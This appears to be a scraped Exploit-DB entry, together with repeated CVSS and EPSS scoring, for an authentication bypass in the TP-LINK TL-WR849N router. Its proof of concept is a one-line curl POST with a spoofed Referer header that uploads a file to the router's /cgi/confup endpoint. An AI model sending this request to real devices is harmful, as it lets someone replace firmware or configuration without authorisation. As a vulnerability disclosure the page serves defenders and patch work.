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Elber TavaresEDB-ID:48152

HistoryMar 02, 2020 - 12:00 a.m.

TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware)

2020-03-0200:00:00

Elber Tavares

www.exploit-db.com

208

CVSS2

4.1

Attack Vector

ADJACENT_NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:A/AC:L/Au:S/C:P/I:P/A:N

CVSS3

6.1

Attack Vector

ADJACENT

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

AI Score

6.6

Confidence

High

EPSS

0.004

Percentile

72.7%

JSON

# Exploit Title: TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware)
# Date: 2019-11-20
# Exploit Author: Elber Tavares
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://www.tp-link.com/br/support/download/tl-wr849n/#Firmware
# Version: TL-WR849N 0.9.1 4.16
# Tested on: linux, windows
# CVE : CVE-CVE-2019-19143

Uploading new firmware without access to the panel

REFS:
 https://github.com/ElberTavares/routers-exploit/tp-link
 https://fireshellsecurity.team/hack-n-routers/


Poc:
curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer:
http://TARGET/mainFrame.htm" -F [email protected]
http://TARGET/cgi/confup

CVSS2

4.1

Attack Vector

ADJACENT_NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:A/AC:L/Au:S/C:P/I:P/A:N

CVSS3

6.1

Attack Vector

ADJACENT

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

AI Score

6.6

Confidence

High

EPSS

0.004

Percentile

72.7%

JSON

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